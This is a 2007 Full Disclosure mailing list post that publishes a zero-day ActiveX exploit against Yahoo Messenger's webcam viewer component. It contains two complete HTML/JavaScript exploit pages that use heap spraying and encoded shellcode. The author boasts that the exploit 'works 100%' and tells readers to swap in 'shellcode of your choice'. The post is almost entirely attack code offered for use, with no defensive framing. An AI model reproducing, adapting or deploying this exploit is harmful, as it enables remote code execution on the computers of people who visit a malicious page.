Full Disclosure mailing list archives
2nd Yahoo 0day ActiveX Exploit
From: Danny <server.exception () yahoo com>
Date: Wed, 6 Jun 2007 17:03:55 -0700 (PDT)
This affects the viewer ywcvwr.dll with yahoo messenger latest version tested. Fixed bug in last post (x=0;xi<800;x++) should be (x=0; x<800; x++) Here is your 2nd 0day!!! link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 <html> <script> <object classid='clsid:9D39223E-AE8E-11D4-8FD3-00D0B7730277' id='target' shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<800; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; target.server = buffer; target.receive(); </script> </html> works 100%!! =-Excepti0n-= Danny <server.exception () yahoo com> wrote: <html> <!-- 45 minutes of fuzzing! Great results! very relible, runs calc.exe, replace with shellcode of your choice!!! link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856 maybe more vulz! Greetz to: str0ke and shinnai! --> <html> <script> <object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target' shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" + "%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" + "%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" + "%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" + "%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" + "%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" + "%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" + "%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" + "%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" + "%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + "%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" + "%uCC4A%uD0FF"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; xi<800; x++) memory[x] = block + shellcode; var buffer = '\x0a'; while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; target.server = buffer; target.initialize(); target.send(); </script> </html> sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111 --------------------------------- Luggage? GPS? Comic books? Check out fitting gifts for grads at Yahoo! Search. --------------------------------- Park yourself in front of a world of choices in alternative vehicles. Visit the Yahoo! Auto Green Center.
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